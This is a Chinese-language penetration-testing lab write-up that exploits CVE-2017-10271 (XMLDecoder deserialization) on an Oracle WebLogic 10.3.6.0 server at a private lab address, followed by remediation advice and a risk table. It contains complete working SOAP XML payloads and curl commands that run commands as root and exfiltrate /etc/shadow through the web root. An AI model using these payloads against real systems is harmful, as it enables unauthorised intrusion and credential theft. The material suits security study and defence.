AdminServer，属于 base_domain，以 Development Mode 运行）。7001。http、t3、iiop、ldap、snmp。7001 端口上暴露了 t3 协议。如果 WebLogic 版本未针对与通过 RMI（远程方法调用）进行 Java 对象反序列化相关的漏洞打补丁，这一默认配置会带来高风险。7001 端口的 http 协议上运行，这使得它容易遭受针对 /console/login/LoginForm.jsp 等敏感端点的目录扫描。在识别出目标开放的端口后，我们将使用 nmap 扫描该端口，以确定其运行的服务。
因此，目标运行着一个 HTTP 服务，版本为 Oracle WebLogic Server 10.3.6.0 —— 一个以一系列严重 CVE（如反序列化、认证绕过）而闻名的企业级 Java 应用服务器。然而，仅凭这些信息还不足以断定系统具体存在哪个漏洞。我们需要深入扫描其附带的 Web 服务组件。
接下来，我们将使用 dirsearch 工具识别其敏感端点。由于 WebLogic 运行在 Java 平台上，.jsp 和 .xml 文件是最敏感的目标。我们将重点关注返回 200 状态码的端点。
dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html
/console/login/LoginForm.jsp： WebLogic 管理控制台 Web 界面的登录门户。这是针对默认凭据暴力破解或认证绕过漏洞（如 CVE-2020-14882）的重要目标。/bea_wls_internal/： WebLogic Server 的默认内部 Web 应用目录。该组件允许访问系统静态文件并与之交互。/wls-wsat/CoordinatorPortType： 这是最关键的发现。该路径存在并返回 200 OK 状态码，确认 Web Services Atomic Transactions（wls-wsat） 组件已启用并准备好接收数据。/uddiexplorer 和 /uddi/uddilistener： 这是 UDDI Explorer（通用描述、发现与集成服务）组件，WebLogic Server 默认集成该组件用于管理和注册 Web Services。该组件因 SSRF（服务端请求伪造）- CVE-2014-4210 漏洞而极为著名。攻击者可以利用 UDDI 在 /uddiexplorer/SearchPublicRegistries.jsp 端点的公共注册表搜索接口，强制 WebLogic 服务器向后端内部网络发送任意 HTTP 请求。⇒ 思考： /wls-wsat（存在通过 XMLDecoder 实现 RCE 的风险）与 /uddiexplorer（存在 SSRF 风险）的共存表明该 WebLogic 服务器的攻击面极其宽广。
在识别出 WebLogic 10.3.6.0 服务器上同时存在的两个独立攻击面之后，我们分析这两个方向：
/uddiexplorer 处的 SSRF 漏洞（CVE-2014-4210）：
/wls-wsat 处的 XMLDecoder 反序列化漏洞（CVE-2017-10271）：
⇒ 决策： 在网络攻击链模型中，RCE 始终是最终目标，因为它能直接、完全地控制系统（系统完全沦陷）。一旦获得 RCE 能力，通过 UDDI 应用利用 SSRF 就变得多余。因为从 RCE shell 中，我们可以使用系统命令（如 curl、wget）以直接、灵活且更强大的方式主动进行内网探测，而不受 UDDI 接口参数的限制。
因此，按照漏洞利用的优先级逻辑，我们决定放弃次要路径（/uddiexplorer 处的 SSRF），将全部精力集中在研究通过 /wls-wsat/CoordinatorPortType 处的 XMLDecoder 反序列化漏洞实现远程代码执行（RCE）。
CVE-2017-10271 的根本漏洞在于 WebLogic 的 WorkContextXmlInputAdapter 类使用 java.beans.XMLDecoder 对象解析 <work:WorkContext> 标签中的数据。默认情况下，该 XMLDecoder 类会自动实例化任何以 XML 标签形式定义的 Java 类。由此，我们通过逐步的系统行为交互进行验证。
为快速验证该 servlet 的实际活动状态，发送一个常规的 HTTP GET 探测请求：
curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType
响应返回 HTTP/1.1 200 OK，并带有实现类 CoordinatorPortTypePortImpl，确认该 servlet 已成功加载到 JVM 内存中。
由于 Web Services servlet 设计为通过 POST 方法处理 SOAP XML 数据，我们将通过两个 POST 请求进行对比测试，以演示系统的数据处理流程：
1. 标准 SOAP POST 请求
我们发送一个标准的 SOAP XML Envelope（包含完整命名空间，但不含执行内容），以测试解析器的正常解析能力。
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"
Cannot find dispatch method）。分析：
服务器在 POST 端口有一个运行良好的 XML 读取器，随时准备接收并解码用户发送的整个 XML 树结构。这证实了从客户端深入 WebLogic 内存的数据管道完全畅通。
2. 畸形 XML POST 请求
接下来，我们故意破坏 XML 结构（例如，缺少命名空间），以观察解析器的异常处理机制。
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"
com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv"。分析：
com.ctc.wstx）进行解析。实际实验结果与系统架构分析的结合——从 wls-wsat servlet 通过 POST 端口接收原始数据包、在解析器层缺少 WAF/健全性过滤器（Sanity Filter），到直接抛出原始 Java XML Reader 错误——证实服务器运行着一个极其敏感的服务结构，该结构直接处于 CVE-2017-10271（XMLDecoder 反序列化）的攻击范围内。
由于 XMLDecoder 的默认解析机制没有任何类控制过滤器，服务器在无净化的条件下接收原始 POST 数据，这为我们设计在下一步直接调用 Java 系统执行对象的 payload 提供了完美的入口。
由于 WebLogic 10.3.6.0 服务器运行在旧版 Java 环境中，并且未对 XMLDecoder 应用严格的类控制过滤器，攻击者可以直接注入可执行的 Java 对象。
Java 中执行命令的标准类是 java.lang.ProcessBuilder。我们将该 Java 对象初始化逻辑映射为与 XMLDecoder 兼容的 XML 格式：
<void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void method="start"/>当通过 ProcessBuilder 执行系统命令时，WebLogic 服务器会在操作系统后台运行该命令，并且只返回 HTTP 500 错误代码（不会将命令输出直接打印到 HTTP 响应的页面上）。这种机制称为 Web 应用程序映射（Web Application Mapping） —— 所有 Web 服务器都以此方式运行。war/ 目录是该应用程序的文档根目录（Document Root）。位于 war/ 中的任何文件都可以通过短 URL 访问。
⇒ 要绕过无回显 RCE，我们必须找到物理路径——因为 id > ... 命令运行在操作系统上，它需要真实路径。
白盒分析：查找 /war 目录
为了找到容器内加载的 bea_wls_internal 应用程序的实际物理路径，我们直接从宿主机执行一次系统搜索查询：
结果
/root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war（原始归档库文件）。/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal（AdminServer 的临时分区 _WL_internal 中解压后的活动应用程序目录）。深入该活动目录，我们找到包含静态文件的子目录：/9j4dqk/war/。这是该应用程序的绝对 Web 根目录，攻击者对此目录拥有写权限，可以写入静态文件以展示 RCE 执行结果。思考： 设计一个命令，将 id 的输出重定向到上述目录中的静态文件 rce.txt：id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt
根据以上分析，我们知道 Java 的 XMLDecoder 类会自动实例化并执行任何以 XML 标签形式定义的对象。要在 Java 中调用操作系统命令，标准类是 java.lang.ProcessBuilder。
从等效 Java 代码到 XMLDecoder XML 结构的映射过程：
等效 Java 代码：
String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();
映射为 XMLDecoder XML 标签：
在 Kali Linux 机器上创建包含完整 SOAP 结构的 exploit.xml 文件：
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
从 Kali Linux 机器上，将包含漏洞利用 payload 的 XML 文件发送到目标端点：
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d @exploit.xml
访问刚在 Web 根目录中创建的静态文件 rce.txt：
curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt
RCE 漏洞利用成功。 id 命令的结果确认 WebLogic 进程以 root 权限运行。
id 命令的执行结果返回 uid=0(root)。这证明 WebLogic Server 进程直接以操作系统的最高 root 权限运行。攻击者无需任何额外的权限提升步骤即可完全控制系统。
攻击者可以轻松读取 /etc/shadow 等敏感系统文件。我们创建 exploit_shadow.xml 文件，通过 XML payload 发送，让 WebLogic 服务器自动执行它。 该 payload 命令服务器读取该文件，并将其输出定向到 Document root 目录，以便从外部 URL 访问。
cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
EOF
然后，发送 payload 并从外部读取文件：
curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml
curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt
完整的系统账户列表以及密码哈希被完全泄露。
由于容器运行在隔离的内部网络环境中（Docker 宿主机的 NAT/Bridge），直接向局域网外的 Kali 机器建立反向连接（反弹 Shell）可能会遇到路由障碍。在真实环境（生产环境）中，如果服务器具有出站互联网连接，攻击者完全可以设置反弹 Shell。
然而，直接以 root 权限执行远程代码（RCE）的能力，以及通过 Web 根目录交互式读/写文件的能力，足以确认系统已被完全入侵。
该 WebLogic 系统上的 XMLDecoder 反序列化漏洞（CVE-2017-10271）被评估为最严重的风险级别（Critical）：
为彻底修复这一严重安全漏洞，管理员需要立即实施以下措施：
紧急优先（短期）：
wls-wsat.war 文件夹并重启服务，以彻底移除该攻击面。oracle）下运行，绝不要以 root 权限运行进程。长期优先（纵深防御）：
/wls-wsat/ 端点且包含 XMLDecoder 特征 XML 标签（如 <java>、<object>、<void>、<class>、<method>）的 POST 请求。| Java 组件 | 对应的 XML 标签 |
|---|
声明 ProcessBuilder 类 | <void class="java.lang.ProcessBuilder"> |
参数数组 String[] | <array class="java.lang.String" length="3"> |
| 数组元素（索引 0、1、2） | <void index="0"><string>...</string></void> |
调用 .start() 方法 | <void method="start"/> |
| 标准 | 评估 | 详情 |
|---|
| CVSS 评分 | 9.8（严重） | 影响评分极高。 |
| 身份认证 | 不需要 | 利用该漏洞不需要账户或任何身份认证。 |
| 攻击复杂度 | 极低 | 只需发送一个携带恶意 SOAP XML payload 的 HTTP POST 请求。 |
| 获取的权限 | root | 以最高系统权限完全控制容器。 |
| 横向移动 | 高 | 被攻陷的容器可被用作跳板，攻击内部网络中的其他容器以及物理宿主机。 |